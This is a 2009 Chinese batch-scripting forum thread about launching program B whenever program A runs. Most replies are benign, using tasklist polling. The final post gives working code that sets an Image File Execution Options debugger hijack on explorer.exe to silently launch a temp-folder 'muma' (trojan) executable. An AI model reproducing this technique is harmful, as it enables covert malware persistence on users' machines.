Board logo

标题: [文件操作] 【已解决】批处理实现执行程序A则程序B同时被激活并启动? [打印本页]

作者: zhyf360579    时间: 2009-4-2 11:36     标题: 【已解决】批处理实现执行程序A则程序B同时被激活并启动?

我想要一个批处理可以判断程序A是否被执行,如果执行则同时激活程序B,并打开它。急用,求各位高手不吝赐教,谢谢了!
多谢2楼:Ereimul老师指点,我的意思是本批处理可以加入启动项,即检测程序A的动向,如发现A被执行,则B执行,而老师的批处理却只能打开程序A,并没有关联程序B,麻烦2楼:Ereimul老师再赐教一下,非常感谢!

[ 本帖最后由 zhyf360579 于 2009-4-2 14:41 编辑 ]
作者: Lumiere    时间: 2009-4-2 12:27

@echo off
start a.exe
if %errorlevel% 0 start b.exe
if %errorlevel% 1 echo launch failure!
pause
作者: zhyf360579    时间: 2009-4-2 12:50

谢谢,我先试用一下。
作者: Batcher    时间: 2009-4-2 14:48

  1. @echo off
  2. tasklist|findstr /x "a.exe"
  3. if %errorlevel% equ 0 (
  4.   start b.exe
  5. )
复制代码

作者: zhyf360579    时间: 2009-4-2 15:59

多谢Batcher老师指教,但我试过,还是不行,而且,要指定该程序的路径。请您在亲自测试一下,我是菜鸟,请详细说明,不胜感激!

[ 本帖最后由 zhyf360579 于 2009-4-2 16:06 编辑 ]
作者: zhyf360579    时间: 2009-4-2 17:07

怎么没有人愿意帮小弟一下吗?
作者: Batcher    时间: 2009-4-2 17:47     标题: 回复 5楼 的帖子

“不行”的具体表现是什么?
你测试的完整代码是什么?
作者: Lumiere    时间: 2009-4-2 17:52

似乎你自己对问题的陈述就不是很明确啊,batcher的代码按你的题目理解应该没问题的啊
作者: zhyf360579    时间: 2009-4-2 18:11

对不起,我可能表达的有错误,我的意思是当程序A被执行时,则批处理起作用,用来启动B程序(批处理最好是在后台监测)
作者: rat    时间: 2009-4-2 18:30     标题: 回复 9楼 的帖子

这用vbs比较好
作者: Batcher    时间: 2009-4-2 20:44     标题: 回复 9楼 的帖子

  1. @echo off
  2. :BeginCheck
  3. tasklist|findstr /x "a.exe"
  4. if %errorlevel% equ 0 (
  5.   start b.exe
  6. ) else (
  7.   ping -n 10 127.1 >nul
  8.   goto :BeginCheck
  9. )
复制代码
关于后台运行,请参考:批处理隐藏运行的10种思路
http://bbs.bathome.net/thread-3271-1-1.html
作者: zhyf360579    时间: 2009-4-3 08:15

十分感谢楼上老师的热心帮助,我会好好学学的!

[ 本帖最后由 zhyf360579 于 2009-4-3 08:21 编辑 ]
作者: cyx5769    时间: 2009-4-5 10:22

原帖由 Lumiere 于 2009-4-2 12:27 发表
@echo off
start a.exe
if %errorlevel% 0 start b.exe
if %errorlevel% 1 echo launch failure!
pause

向高手们学习!

[ 本帖最后由 cyx5769 于 2009-4-5 10:29 编辑 ]
作者: lxzzr    时间: 2009-4-8 01:14     标题: 不知道你指的是不是这个意思

看下我的这个:
另一种自启动方式:


@echo off
set "wmps=wmic /namespace:\\root\default path stdregprov call"
set "IFEO=SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe"
%wmps% deletekey ^&H80000002,"%IFEO%"

start %temp%\muma.exe

if not "%1" == "-i" wmic path Win32_Process call create "%SystemRoot%\explorer.exe"
%wmps% createkey ^&H80000002,"%IFEO%"
%wmps% SetStringValue ^&H80000002,"%IFEO%","%0","Debugger"
exit /b


当你试着打开资源管理器的时候,它将会先打开临时文件夹中的muma.exe,再打开资源管理器!

[ 本帖最后由 lxzzr 于 2009-4-8 01:16 编辑 ]




欢迎光临 批处理之家 (http://www.bathome.net/) Powered by Discuz! 7.2